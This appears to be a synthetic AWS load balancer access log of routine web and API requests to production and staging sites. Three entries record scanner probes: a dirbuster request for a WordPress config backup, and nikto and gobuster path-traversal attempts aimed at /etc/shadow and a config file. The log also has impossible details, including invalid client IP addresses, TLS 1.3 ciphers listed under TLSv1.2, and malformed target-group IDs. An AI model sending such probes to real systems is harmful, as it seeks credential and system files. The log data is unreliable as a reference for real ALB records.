arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d748-b111322c2ce048b793e2373c" "prod-web-alb.example.com" "-" 8 2024-11-01T02:15:20.358231Z "forward" "-" "-" "10.0.167.106:443" "301" "-" "-" -https 2024-11-01T02:15:21.228279Z prod-web-alb 92.48.59.64:34423 10.0.40.120:443 0.015181 0.273780 0.018149 200 200 445 8416 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d749-9cdb1981d80649db9c8500df" "prod-web-alb.example.com" "-" 0 2024-11-01T02:15:21.228279Z "forward" "-" "-" "10.0.40.120:443" "200" "-" "-" -http 2024-11-01T02:15:23.180500Z staging-alb 169.60.81.148:28529 135.168.1.191:443 0.106782 0.157690 0.019967 200 200 155 13842 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d74b-f5d17e1cfd014d32bea8f31f" "staging-alb.example.com" "-" 2 2024-11-01T02:15:23.180500Z "forward" "-" "-" "135.168.1.191:443" "200" "-" "-" -https 2024-11-01T02:15:25.131179Z staging-alb 92.73.239.4:11791 150.17.51.160:443 0.114634 0.188051 0.092128 200 200 745 5277 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d74d-0336fa753c2449c198e10611" "staging-alb.example.com" "-" 5 2024-11-01T02:15:25.131179Z "forward" "-" "-" "150.17.51.160:443" "200" "-" "-" -https 2024-11-01T02:15:26.557641Z prod-api-alb 214.154.89.159:43186 10.0.142.61:443 0.057546 0.233811 0.005050 301 301 90 6795 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d74e-7c2c596671034107adf28cde" "prod-api-alb.example.com" "-" 0 2024-11-01T02:15:26.557641Z "forward" "-" "-" "10.0.142.61:443" "301" "-" "-" -http 2024-11-01T02:15:28.508036Z staging-alb 255.173.39.238:60464 19.87.60.231:443 0.138108 0.436729 0.087895 200 200 280 10536 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d750-78cb3ab110274cb9ad2155ca" "staging-alb.example.com" "-" 2 2024-11-01T02:15:28.508036Z "forward" "-" "-" "19.87.60.231:443" "200" "-" "-" -https 2024-11-01T02:15:29.881584Z staging-alb 113.116.147.217:28535 25.77.71.71:8080 0.041728 0.108302 0.128540 200 200 952 6959 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d751-2973fd95e9e24e54b3bc4253" "staging-alb.example.com" "-" 6 2024-11-01T02:15:29.881584Z "forward" "-" "-" "25.77.71.71:8080" "200" "-" "-" -https 2024-11-01T02:15:30.786866Z prod-web-alb 149.29.56.19:10984 10.0.226.123:443 0.047586 0.091152 0.038620 404 404 6 5172 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d752-98950f0000d7467d8b3fd010" "prod-web-alb.example.com" "-" 8 2024-11-01T02:15:30.786866Z "forward" "-" "-" "10.0.226.123:443" "404" "-" "-" -https 2024-11-01T02:15:31.254466Z prod-web-alb 64.212.30.219:42294 10.0.2.232:443 0.040472 0.112465 0.033672 200 200 260 14918 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d753-1fe8694932854704be1be274" "prod-web-alb.example.com" "-" 1 2024-11-01T02:15:31.254466Z "forward" "-" "-" "10.0.2.232:443" "200" "-" "-" -https 2024-11-01T02:15:31.369818Z prod-api-alb 190.221.217.158:53920 10.0.78.87:443 0.084114 0.140124 0.016410 404 404 115 5598 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d753-6882b475581c4c7cbc835f2e" "prod-api-alb.example.com" "-" 1 2024-11-01T02:15:31.369818Z "forward" "-" "-" "10.0.78.87:443" "404" "-" "-" -https 2024-11-01T02:15:32.108828Z prod-api-alb 190.123.61.95:54653 10.0.189.227:443 0.040740 0.211748 0.065543 200 200 748 6862 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d754-89e53abb8abf40d0aa905d8c" "prod-api-alb.example.com" "-" 2 2024-11-01T02:15:32.108828Z "forward" "-" "-" "10.0.189.227:443" "200" "-" "-" -https 2024-11-01T02:15:32.827861Z prod-api-alb 102.96.88.147:50710 10.0.249.171:443 0.027793 0.379483 0.029921 200 200 319 3761 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d754-11df4dadc128453a8fc3828a" "prod-api-alb.example.com" "-" 7 2024-11-01T02:15:32.827861Z "forward" "-" "-" "10.0.249.171:443" "200" "-" "-" -https 2024-11-01T02:15:34.485632Z prod-web-alb 138.207.160.218:31400 10.0.149.146:443 0.059996 0.495110 0.061108 200 200 711 7129 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d756-40e30f8f8e2445c58cbe2c48" "prod-web-alb.example.com" "-" 6 2024-11-01T02:15:34.485632Z "forward" "-" "-" "10.0.149.146:443" "200" "-" "-" -https 2024-11-01T02:15:35.995129Z prod-api-alb 87.186.34.164:33116 10.0.202.114:443 0.046299 0.355694 0.041500 301 301 834 11030 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d757-180ab11b1ecc45608232d700" "prod-api-alb.example.com" "-" 4 2024-11-01T02:15:35.995129Z "forward" "-" "-" "10.0.202.114:443" "301" "-" "-" -https 2024-11-01T02:15:37.209003Z staging-alb 85.41.6.198:48811 101.235.69.67:8080 0.014384 0.401622 0.148377 200 200 452 6376 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d759-3589b36f315744b5b99e1791" "staging-alb.example.com" "-" 6 2024-11-01T02:15:37.209003Z "forward" "-" "-" "101.235.69.67:8080" "200" "-" "-" -https 2024-11-01T02:15:38.789321Z prod-web-alb 155.171.187.158:55330 10.0.206.146:443 0.033785 0.266108 0.044956 404 404 538 8948 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d75a-f44a6de4e8334aeab1e226ff" "prod-web-alb.example.com" "-" 5 2024-11-01T02:15:38.789321Z "forward" "-" "-" "10.0.206.146:443" "404" "-" "-" -https 2024-11-01T02:15:39.437627Z prod-web-alb 24.221.29.221:62009 10.0.206.31:443 0.014096 0.081427 0.011902 200 200 233 3779 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d75b-d6db654bc3354571935f0941" "prod-web-alb.example.com" "-" 3 2024-11-01T02:15:39.437627Z "forward" "-" "-" "10.0.206.31:443" "200" "-" "-" -http 2024-11-01T02:15:40.892079Z staging-alb 118.254.28.21:57493 51.138.11.75:80 0.088887 0.565573 0.047940 200 200 638 6568 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d75c-9c620b29faae4f0293ed2fdc" "staging-alb.example.com" "-" 7 2024-11-01T02:15:40.892079Z "forward" "-" "-" "51.138.11.75:80" "200" "-" "-" -https 2024-11-01T02:15:42.587059Z prod-web-alb 106.42.95.244:44587 10.0.219.218:443 0.030747 0.013704 0.059706 200 200 646 9366 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d75e-cf505da1fd554466897568a7" "prod-web-alb.example.com" "-" 3 2024-11-01T02:15:42.587059Z "forward" "-" "-" "10.0.219.218:443" "200" "-" "-" -https 2024-11-01T02:15:43.218865Z prod-web-alb 45.155.205.102:48440 10.0.107.194:443 0.077236 0.213841 0.076024 401 401 121 992 "GET /wp-config.php.bak HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d75f-140f21babd8449bfb0a5e516" "-" "-" 1 2024-11-01T02:15:43.218865Z "forward" "-" "-" "10.0.107.194:443" "401" "-" "-" -https 2024-11-01T02:15:44.518998Z prod-web-alb 159.198.121.204:32442 10.0.174.205:443 0.047125 0.321214 0.040414 404 404 499 4123 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d760-1d8934a5771a4232a010f053" "prod-web-alb.example.com" "-" 7 2024-11-01T02:15:44.518998Z "forward" "-" "-" "10.0.174.205:443" "404" "-" "-" -https 2024-11-01T02:15:44.690377Z prod-web-alb 45.155.205.10:61692 10.0.212.80:443 0.084389 0.062431 0.011940 403 403 932 590 "GET /images/../../../../etc/shadow HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d760-12a2c8cde2584ec59573a995" "-" "-" 1 2024-11-01T02:15:44.690377Z "forward" "-" "-" "10.0.212.80:443" "403" "-" "-" -https 2024-11-01T02:15:46.488049Z prod-api-alb 48.82.110.66:37360 10.0.246.86:443 0.097157 0.137841 0.043434 200 200 303 12337 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d762-23423a460c634878ae72f625" "prod-api-alb.example.com" "-" 8 2024-11-01T02:15:46.488049Z "forward" "-" "-" "10.0.246.86:443" "200" "-" "-" -http 2024-11-01T02:15:48.007642Z staging-alb 178.81.229.1:23459 212.51.211.185:443 0.074799 0.119742 0.090767 200 200 702 12393 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d764-67e60225e29c4fba93a74e6f" "staging-alb.example.com" "-" 10 2024-11-01T02:15:48.007642Z "forward" "-" "-" "212.51.211.185:443" "200" "-" "-" -https 2024-11-01T02:15:49.170772Z prod-api-alb 52.227.179.111:62200 10.0.72.55:443 0.002432 0.093816 0.084225 302 302 97 3208 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d765-bb7604b107fb469a8246c4e5" "prod-api-alb.example.com" "-" 5 2024-11-01T02:15:49.170772Z "forward" "-" "-" "10.0.72.55:443" "302" "-" "-" -https 2024-11-01T02:15:49.589773Z prod-web-alb 128.222.234.22:59106 10.0.222.34:443 0.096304 0.213701 0.061263 200 200 648 7422 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d765-cedceb78125b481b90a36b80" "prod-web-alb.example.com" "-" 7 2024-11-01T02:15:49.589773Z "forward" "-" "-" "10.0.222.34:443" "200" "-" "-" -http 2024-11-01T02:15:50.304903Z staging-alb 95.11.83.217:20167 88.207.84.236:443 0.118288 0.365851 0.011602 301 301 521 12268 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d766-4eb2272823514b71b74c541c" "staging-alb.example.com" "-" 8 2024-11-01T02:15:50.304903Z "forward" "-" "-" "88.207.84.236:443" "301" "-" "-" -https 2024-11-01T02:15:50.512116Z prod-api-alb 231.36.5.161:23071 10.0.83.240:443 0.046612 0.435701 0.019301 301 301 910 3149 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d766-83abc2bcbeee4899b233af4f" "prod-api-alb.example.com" "-" 8 2024-11-01T02:15:50.512116Z "forward" "-" "-" "10.0.83.240:443" "301" "-" "-" -https 2024-11-01T02:15:51.862272Z prod-api-alb 122.31.78.236:25575 10.0.85.222:443 0.063119 0.179684 0.083030 200 200 732 6331 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d767-31087c8652a040178a765027" "prod-api-alb.example.com" "-" 0 2024-11-01T02:15:51.862272Z "forward" "-" "-" "10.0.85.222:443" "200" "-" "-" -http 2024-11-01T02:15:52.212134Z staging-alb 242.76.79.109:37887 94.4.112.189:8080 0.054695 0.425497 0.028692 302 302 516 4709 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d768-60b84ce23f9a420d8a074c89" "staging-alb.example.com" "-" 7 2024-11-01T02:15:52.212134Z "forward" "-" "-" "94.4.112.189:8080" "302" "-" "-" -https 2024-11-01T02:15:53.114464Z prod-web-alb 109.132.144.23:36994 10.0.128.113:443 0.029800 0.129098 0.054884 200 200 421 14907 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d769-d91d68a9db3a4f06b572e19f" "prod-web-alb.example.com" "-" 0 2024-11-01T02:15:53.114464Z "forward" "-" "-" "10.0.128.113:443" "200" "-" "-" -https 2024-11-01T02:15:54.227484Z prod-api-alb 211.238.109.111:26185 10.0.239.77:443 0.032370 0.433188 0.063177 404 404 994 862 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d76a-f7ad17710b3c4468b7f3f880" "prod-api-alb.example.com" "-" 7 2024-11-01T02:15:54.227484Z "forward" "-" "-" "10.0.239.77:443" "404" "-" "-" -https 2024-11-01T02:15:55.509329Z prod-web-alb 73.68.244.99:63187 10.0.219.76:443 0.025145 0.328259 0.009558 200 200 525 13025 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d76b-fc541bbfaaa3433c8b3de5e2" "prod-web-alb.example.com" "-" 6 2024-11-01T02:15:55.509329Z "forward" "-" "-" "10.0.219.76:443" "200" "-" "-" -https 2024-11-01T02:15:55.997858Z staging-alb 250.116.137.203:53897 35.252.249.108:8080 0.147940 0.238154 0.086376 404 404 749 11576 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d76b-122fb98fecb245deb5003ad2" "staging-alb.example.com" "-" 5 2024-11-01T02:15:55.997858Z "forward" "-" "-" "35.252.249.108:8080" "404" "-" "-" -https 2024-11-01T02:15:57.627718Z prod-web-alb 206.10.75.100:33400 10.0.11.131:443 0.086349 0.400651 0.074474 200 200 301 11797 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d76d-c200a62c0e2149c3a13a1639" "prod-web-alb.example.com" "-" 10 2024-11-01T02:15:57.627718Z "forward" "-" "-" "10.0.11.131:443" "200" "-" "-" -http 2024-11-01T02:15:59.008985Z staging-alb 248.66.148.206:29186 217.121.248.19:443 0.075079 0.584145 0.007474 302 302 318 5784 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d76f-62ef28125c5e48e799521bef" "staging-alb.example.com" "-" 5 2024-11-01T02:15:59.008985Z "forward" "-" "-" "217.121.248.19:443" "302" "-" "-" -https 2024-11-01T02:16:00.838963Z prod-web-alb 151.112.32.58:20253 10.0.177.192:443 0.055348 0.102138 0.080277 301 301 765 11062 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d770-f1237ce796804eacbf5d3a9e" "prod-web-alb.example.com" "-" 6 2024-11-01T02:16:00.838963Z "forward" "-" "-" "10.0.177.192:443" "301" "-" "-" -https 2024-11-01T02:16:01.191476Z prod-web-alb 193.183.40.118:18745 10.0.29.9:443 0.036306 0.287660 0.063233 200 200 107 395 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d771-4788570c9814408d9e2bf6b5" "prod-web-alb.example.com" "-" 5 2024-11-01T02:16:01.191476Z "forward" "-" "-" "10.0.29.9:443" "200" "-" "-" -https 2024-11-01T02:16:01.927561Z prod-web-alb 75.171.14.241:39886 10.0.248.90:443 0.003120 0.050524 0.053982 302 302 607 4520 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d771-460eb6d21b3e4f2a88cf43f4" "prod-web-alb.example.com" "-" 8 2024-11-01T02:16:01.927561Z "forward" "-" "-" "10.0.248.90:443" "302" "-" "-" -https 2024-11-01T02:16:02.919308Z prod-web-alb 45.155.205.185:29164 10.0.59.160:443 0.054520 0.266602 0.019813 404 404 763 4246 "GET /api/../../../config HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d772-340a070cb55542b391627197" "-" "-" 3 2024-11-01T02:16:02.919308Z "forward" "-" "-" "10.0.59.160:443" "404" "-" "-" -http 2024-11-01T02:16:04.284336Z staging-alb 101.37.96.150:16566 110.104.221.106:8080 0.065617 0.094070 0.060064 200 200 554 13349 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d774-ae87a17faf99462aa89ca912" "staging-alb.example.com" "-" 9 2024-11-01T02:16:04.284336Z "forward" "-" "-" "110.104.221.106:8080" "200" "-" "-" -https 2024-11-01T02:16:04.455746Z staging-alb 54.241.62.21:31025 233.251.122.8:443 0.014303 0.541481 0.100270 404 404 757 8140 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d774-ef4e38c9fca8465f91de8b4e" "staging-alb.example.com" "-" 10 2024-11-01T02:16:04.455746Z "forward" "-" "-" "233.251.122.8:443" "404" "-" "-" -https 2024-11-01T02:16:05.503610Z staging-alb 167.166.43.199:41311 191.163.238.145:8080 0.145561 0.348520 0.133250 200 200 458 4131 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d775-6ac08593c9064659a1fe28d7" "staging-alb.example.com" "-" 4 2024-11-01T02:16:05.503610Z "forward" "-" "-" "191.163.238.145:8080" "200" "-" "-" -https 2024-11-01T02:16:06.068896Z staging-alb 5.250.56.158:30835 252.118.177.96:443 0.071228 0.686156 0.016368 301 301 652 13531 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d776-332957948c3a438a9d1546b8" "staging-alb.example.com" "-" 1 2024-11-01T02:16:06.068896Z "forward" "-" "-" "252.118.177.96:443" "301" "-" "-" -https 2024-11-01T02:16:06.673000Z prod-web-alb 84.120.221.124:62799 10.0.138.167:443 0.042152 0.304360 0.050395 404 404 633 9816 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d776-ee628b6b7b844981a7f13c38" "prod-web-alb.example.com" "-" 10 2024-11-01T02:16:06.673000Z "forward" "-" "-" "10.0.138.167:443" "404" "-" "-" -http 2024-11-01T02:16:07.798540Z staging-alb 208.33.190.154:51858 196.213.164.211:8080 0.011545 0.568299 0.011660 200 200 502 11917 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d777-63063a52d18647f7bb24a558" "staging-alb.example.com" "-" 7 2024-11-01T02:16:07.798540Z "forward" "-" "-" "196.213.164.211:8080" "200" "-" "-" -https 2024-11-01T02:16:09.717597Z prod-web-alb 16.111.48.146:55253 10.0.193.139:443 0.026578 0.467873 0.079567 404 404 813 6987 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d779-ae4b0781a5e2483f8d7c9c4d" "prod-web-alb.example.com" "-" 5 2024-11-01T02:16:09.717597Z "forward" "-" "-" "10.0.193.139:443" "404" "-" "-" -https 2024-11-01T02:16:10.993415Z prod-web-alb 200.153.129.47:31189 10.0.83.127:443 0.095314 0.176699 0.043774 200 200 807 3304 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d77a-77ae9a14546243cb8b12791f" "prod-web-alb.example.com" "-" 8 2024-11-01T02:16:10.993415Z "forward" "-" "-" "10.0.83.127:443" "200" "-" "-" -https 2024-11-01T02:16:11.798078Z prod-web-alb 211.22.251.131:14538 10.0.146.127:443 0.045558 0.254226 0.093707 301 301 133 369 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d77b-227e3b4f99804d6fa1b9f29e" "prod-web-alb.example.com" "-" 6 2024-11-01T02:16:11.798078Z "forward" "-" "-" "10.0.146.127:443" "301" "-" "-" -http 2024-11-01T02:16:13.763138Z 